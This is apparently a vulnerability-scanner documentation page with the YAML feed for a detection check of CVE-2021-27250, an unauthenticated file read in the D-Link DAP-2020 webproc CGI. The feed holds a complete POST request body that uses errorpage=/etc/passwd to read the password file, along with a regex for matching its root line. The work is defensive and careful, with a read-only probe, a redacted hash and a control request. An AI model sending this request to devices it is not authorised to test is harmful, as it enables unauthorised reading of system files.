Dlink Dap — 1 vulnerability check
noctis ships 1 vulnerability check for Dlink Dap, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
D-Link DAP-2020 webproc errorpage Arbitrary File Read
| CVE | CVE-2021-27250 |
|---|---|
| Severity | medium · CVSS 6.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, http_request, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/dlink-dap/CVE-2021-27250.yaml |
Detects the unauthenticated arbitrary file read in /cgi-bin/webproc of the D-Link DAP-2020 wireless access point (firmware 1.01 and earlier). When a login fails, the CGI displays the page named by the `errorpage` parameter without restricting it to the web root. The test sends one login request with a random, wrong password and `errorpage=/etc/passwd`, and reports the device when the reply carries the root entry of /etc/passwd. A second request naming a random absent file must not return a passwd entry, which rules out devices that answer every request with the same content. The requests are read-only; root's password hash is redacted from the evidence.
How noctis detects it
- HTTP(S) request
POST /cgi-bin/webprocwith a crafted body - Checks
rd.bodyfor(?m)^(?:<[^>\r\n]*>)*[ \t]*root:[^:\r\n]*:0:([01]:[^:\r\n]*:[^:\r\n]*… - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST /cgi-bin/webprocwith a crafted body - Parses / computes the next value with a Rhai script
- Checks
prooffor^root:<redacted>:0:[01]:→ finding QoD 75: POST /cgi-bin/webproc (failed login, errorpage=/etc/passwd) returned /etc/passwd (…); an absent file returned no passwd entry
References:
- https://nvd.nist.gov/vuln/detail/CVE-2021-27250
- https://www.zerodayinitiative.com/advisories/ZDI-21-205/
- https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10201
Feed source — tests/vulnerabilities/dlink-dap/CVE-2021-27250.yaml
# D-Link DAP-2020 — webproc `errorpage` external control of file name
# (unauthenticated arbitrary file read) — CVE-2021-27250 / ZDI-21-205
#
# Ported from OpenVAS/Greenbone NVT `2021/dlink/gb_dlink_mult_vuln_feb21.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.145483, GPL-2.0-only), "D-Link DAP-2020 <= 1.01
# Multiple Vulnerabilities - Active Check". The NVT lists CVE-2021-27248
# (getpage stack overflow), CVE-2021-27249 (WEB_CmdFileList command injection)
# and CVE-2021-27250 (errorpage file disclosure), all fixed by the same
# firmware update (D-Link SAP10201). The request it sends only exercises
# CVE-2021-27250, so the feed claims only that CVE (ZDI 6.5, AV:A).
# No public detail gives a benign trigger for the CVE-2021-27249 injection,
# and the two overflows can only be shown by a crash, so they are not probed.
#
# Flow (as the NVT): POST /cgi-bin/webproc with a login form (obj-action=auth,
# :action=login) whose credentials are wrong and whose `errorpage` names an
# absolute path. The failed login renders the error page, read from that path
# without confining it to the web root. Proof (benign, read-only): the root
# line of /etc/passwd.
#
# Improvements over the NVT:
# - Random password instead of the NVT's fixed "test", so the probe can never
# log in by chance (one failed login, two after a hit with the control).
# - Stricter signature: a full 7-field root line at a line start (optionally
# after HTML tags), where the NVT's `root:.*:0:[01]:` matches anywhere.
# - Absent-file control: after a hit, the same request for a random absent
# file named after the probed one must NOT return a passwd line, so a
# blanket responder / honeypot gives no finding (fail-closed: the control
# must have been answered).
# - No secret in the finding: root's crypt hash is replaced by <redacted>;
# the raw reply is matched without `on_match`.
uid: 62ee1df6-e6ac-447f-b2e3-eb68c225e5b5
name: "D-Link DAP-2020 webproc errorpage Arbitrary File Read (CVE-2021-27250)"
description: |
Detects the unauthenticated arbitrary file read in /cgi-bin/webproc of the
D-Link DAP-2020 wireless access point (firmware 1.01 and earlier). When a
login fails, the CGI displays the page named by the `errorpage` parameter
without restricting it to the web root. The test sends one login request
with a random, wrong password and `errorpage=/etc/passwd`, and reports the
device when the reply carries the root entry of /etc/passwd. A second
request naming a random absent file must not return a passwd entry, which
rules out devices that answer every request with the same content. The
requests are read-only; root's password hash is redacted from the evidence.
cves: [CVE-2021-27250]
cvss: 6.5
severity: medium
category: file-read
confidence_base: 0.30
tags: [dlink, d-link, dap-2020, access-point, iot, path-traversal, lfi, file-read, webproc]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2021-27250"
- "https://www.zerodayinitiative.com/advisories/ZDI-21-205/"
- "https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10201"
steps:
- id: init-proof
action: set_var
var_name: proof
var_value: ""
# Pre-init the stored results: a failed request stores nothing, and the
# scripts below would otherwise abort on an undefined variable.
- id: init-read
action: set_var
var_name: rd
var_value: ""
- id: init-ctl
action: set_var
var_name: ctl
var_value: ""
- id: init-ctl-state
action: set_var
var_name: ctl_state
var_value: "none"
# ── 1. Exploit: failed login renders errorpage=/etc/passwd ──────────────
- id: read
action: http_request
method: POST
path: "/cgi-bin/webproc"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "getpage=html%2Findex.html&errorpage=/etc/passwd&var%3Amenu=setup&var%3Apage=wizard&var%3Alogin=true&obj-action=auth&%3Ausername=admin&%3Apassword=noctis-{{oob_token}}&%3Aaction=login&%3Asessionid=365dfaef"
store_as: rd
# No on_match: the raw reply (with root's hash) must not become evidence.
- id: passwd
action: match
source: rd.body
pattern: "(?m)^(?:<[^>\\r\\n]*>)*[ \\t]*root:[^:\\r\\n]*:0:([01]:[^:\\r\\n]*:[^:\\r\\n]*:[^:\\r\\n]*)\\r?$"
store_as: pw_m
- id: redact
action: script
code: |
if type_of(pw_m) == "map" && pw_m.matched && pw_m.captures.len() > 0 {
"root:<redacted>:0:" + pw_m.captures[0]
} else { "" }
store_as: proof
# ── 2. Control: an absent file must not come back as a passwd file ──────
- id: control
action: http_request
method: POST
path: "/cgi-bin/webproc"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
condition: 'proof != ""'
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "getpage=html%2Findex.html&errorpage=/etc/passwd.noctis-absent-{{oob_token}}&var%3Amenu=setup&var%3Apage=wizard&var%3Alogin=true&obj-action=auth&%3Ausername=admin&%3Apassword=noctis-{{oob_token}}&%3Aaction=login&%3Asessionid=365dfaef"
store_as: ctl
- id: control-state
action: script
code: |
if type_of(ctl) != "map" || ctl.status == 0 { "none" }
else if egrep("^(?:<[^>\\r\\n]*>)*[ \\t]*root:[^:\\r\\n]*:0:[01]:", ctl.body) != "" { "blanket" }
else { "clean" }
condition: 'proof != ""'
store_as: ctl_state
- id: report
action: match
source: proof
pattern: "^root:<redacted>:0:[01]:"
condition: 'proof != "" && ctl_state == "clean"'
on_match:
finding:
cves: [CVE-2021-27250]
cvss: 6.5
severity: medium
confidence_delta: 0.55
qod: 75
evidence: "POST /cgi-bin/webproc (failed login, errorpage=/etc/passwd) returned /etc/passwd ({{proof}}); an absent file returned no passwd entry"
remediation: "Install the DAP-2020 firmware update D-Link released for advisory SAP10201, and keep the management interface off untrusted networks."
stop: true